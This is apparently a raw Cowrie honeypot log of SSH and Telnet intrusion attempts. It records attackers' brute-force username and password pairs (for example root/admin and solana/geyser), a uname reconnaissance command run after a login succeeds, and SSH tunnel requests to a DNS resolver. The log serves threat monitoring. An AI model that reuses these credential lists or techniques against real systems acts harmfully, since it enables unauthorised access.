{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$qazwsxedc","message":"login attempt [ubuntu/!@#$qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:22.141814Z","src_ip":"2.57.122.210","session":"6c4cf9d85d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:22.210558Z","src_ip":"193.32.162.145","session":"8816e2e73245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:22.532865Z","src_ip":"193.32.162.145","session":"8816e2e73245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:23.246654Z","src_ip":"2.57.122.210","session":"6c4cf9d85d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:45:23.638977Z","src_ip":"193.32.162.145","session":"8816e2e73245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34660,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a2bf85002e","protocol":"ssh","message":"New connection: 195.178.110.218:34660 (10.17.0.5:22) [session: 11a2bf85002e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:46:07.113425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:46:07.117628Z","src_ip":"195.178.110.218","session":"11a2bf85002e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:46:07.197150Z","src_ip":"195.178.110.218","session":"11a2bf85002e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:46:07.434165Z","src_ip":"195.178.110.218","session":"11a2bf85002e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:46:08.514910Z","src_ip":"195.178.110.218","session":"11a2bf85002e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":53783,"dst_ip":"10.17.0.5","dst_port":22,"session":"01222d7071a1","protocol":"ssh","message":"New connection: 37.77.150.119:53783 (10.17.0.5:22) [session: 01222d7071a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:00.978762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:00.984102Z","src_ip":"37.77.150.119","session":"01222d7071a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:01.114924Z","src_ip":"37.77.150.119","session":"01222d7071a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:01.514225Z","src_ip":"37.77.150.119","session":"01222d7071a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:01.647062Z","session":"01222d7071a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:01.782973Z","src_ip":"37.77.150.119","session":"01222d7071a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:01.920662Z","src_ip":"37.77.150.119","session":"01222d7071a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":45138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d588266a98f5","protocol":"telnet","message":"New connection: 130.12.180.174:45138 (10.17.0.5:23) [session: d588266a98f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:11.227365Z"}
{"eventid":"cowrie.session.closed","duration":0.5054662227630615,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:11.732710Z","src_ip":"130.12.180.174","session":"d588266a98f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44374,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f9c41988c3","protocol":"ssh","message":"New connection: 2.57.122.210:44374 (159.203.135.109:22) [session: 51f9c41988c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:33.387023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:33.391229Z","src_ip":"2.57.122.210","session":"51f9c41988c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:33.491494Z","src_ip":"2.57.122.210","session":"51f9c41988c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZXCVASDFQWER2!@#$","message":"login attempt [ubuntu/ZXCVASDFQWER2!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:33.793994Z","src_ip":"2.57.122.210","session":"51f9c41988c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:34.895815Z","src_ip":"2.57.122.210","session":"51f9c41988c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54474,"dst_ip":"10.17.0.5","dst_port":22,"session":"c89894ef12ce","protocol":"ssh","message":"New connection: 193.32.162.145:54474 (10.17.0.5:22) [session: c89894ef12ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.083844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.088722Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.187990Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"iproyal","message":"login attempt [root/iproyal] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.501981Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.737833Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.741065Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.847827Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:37.852621Z","src_ip":"193.32.162.145","session":"c89894ef12ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.118.3.172","src_port":37893,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b9512fbd94d","protocol":"telnet","message":"New connection: 138.118.3.172:37893 (10.17.0.5:23) [session: 9b9512fbd94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:47:43.999056Z"}
{"eventid":"cowrie.session.closed","duration":30.76665711402893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:48:14.765604Z","src_ip":"138.118.3.172","session":"9b9512fbd94d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38856,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1ebfac19a9d","protocol":"ssh","message":"New connection: 195.178.110.218:38856 (10.17.0.5:22) [session: b1ebfac19a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:48:45.292454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:48:45.297017Z","src_ip":"195.178.110.218","session":"b1ebfac19a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:48:45.376237Z","src_ip":"195.178.110.218","session":"b1ebfac19a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:48:45.613784Z","src_ip":"195.178.110.218","session":"b1ebfac19a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:48:46.694598Z","src_ip":"195.178.110.218","session":"b1ebfac19a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":47143,"dst_ip":"10.17.0.5","dst_port":22,"session":"d858050d8e25","protocol":"ssh","message":"New connection: 37.77.150.119:47143 (10.17.0.5:22) [session: d858050d8e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:24.411761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:24.415504Z","src_ip":"37.77.150.119","session":"d858050d8e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:24.547237Z","src_ip":"37.77.150.119","session":"d858050d8e25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:24.943904Z","src_ip":"37.77.150.119","session":"d858050d8e25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:25.084679Z","session":"d858050d8e25","protocol":"ssh"}
